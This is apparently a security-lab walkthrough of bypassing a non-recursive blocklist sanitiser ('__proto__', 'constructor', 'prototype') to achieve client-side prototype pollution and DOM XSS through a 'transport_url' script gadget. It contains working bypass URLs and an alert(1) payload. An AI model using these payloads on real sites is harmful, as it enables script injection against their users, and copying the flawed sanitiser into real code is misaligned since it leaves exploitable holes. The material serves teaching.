Client-side prototype pollution via flawed sanitisation
Description
This lab is vulnerable to DOM XSS via client-side prototype pollution. Although the developers have implemented measures to prevent prototype pollution, these can be easily bypassed.
Reproduction and proof of concept
Find a prototype pollution source
In your browser, try polluting the
Object.prototype
by injecting an arbitrary property via the query string:
/?__proto__.foo=bar
Open the browser DevTools panel and go to the Console tab.
Enter
Object.prototype
.Study the properties of the returned object and observe that the injected
foo
property has not been added.Try alternative prototype pollution vectors. For example:
/?__proto__[foo]=bar
/?constructor.prototype.foo=bar
Observe in each instance the
Object.prototype
is not modified.Go to the Sources tab and study the JavaScript files that are loaded by the target site.
var deparam = function( params, coerce ) {
var obj = {},
coerce_types = { 'true': !0, 'false': !1, 'null': null };
if (!params) {
return obj;
}
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) && ((+val + '') === val) ? +val // number
: val === 'undefined' ? undefined // undefined
: coerce_types[val] !== undefined ? coerce_types[val] // true, false, null
: val; // string
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[sanitizeKey(key)] = i < keys_last
? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[sanitizeKey(key)].push( val );
} else if ( {}.hasOwnProperty.call(obj, key) ) {
obj[sanitizeKey(key)] = [ obj[key], val ];
} else {
obj[sanitizeKey(key)] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
deparamSanitized.js
uses the sanitizeKey()
function defined in searchLoggerFiltered.js
to strip potentially dangerous property keys based on a blocklist. However, it does not apply this filter recursively.
Back in the URL, try injecting one of the blocked keys in such a way that the dangerous key remains following the sanitisation process. For example:
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor.[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
In the console, enter
Object.prototype
again. Notice that it now has its own foo property with the value bar. You’ve successfully found a prototype pollution source and bypassed the website’s key sanitisation.
Identify a gadget
Study the JavaScript files again:
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
searchLogger.js
dynamically appends a script to the DOM using the config object’s transport_url
property if present.
Notice that no
transport_url
property is set for theconfig
object. This is a potential gadget.
Craft an exploit
Using the prototype pollution source you identified earlier, try injecting an arbitrary
transport_url
property:
/?__pro__proto__to__[transport_url]=foo
In the browser DevTools panel, go to the Elements tab and study the HTML content of the page.
<script src="foo"></script>
A script
element has been rendered on the page, with the src
attribute foo
.
Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a
data: URL
:
/?__pro__proto__to__[transport_url]=data:,alert(1);
Observe that the
alert(1)
is called and the lab is solved.
Exploitability
An attacker will need to find a source that you can use to add arbitrary properties to the global Object.prototype
; identify a gadget property that allows you to execute arbitrary JavaScript; and combine these to call alert()
.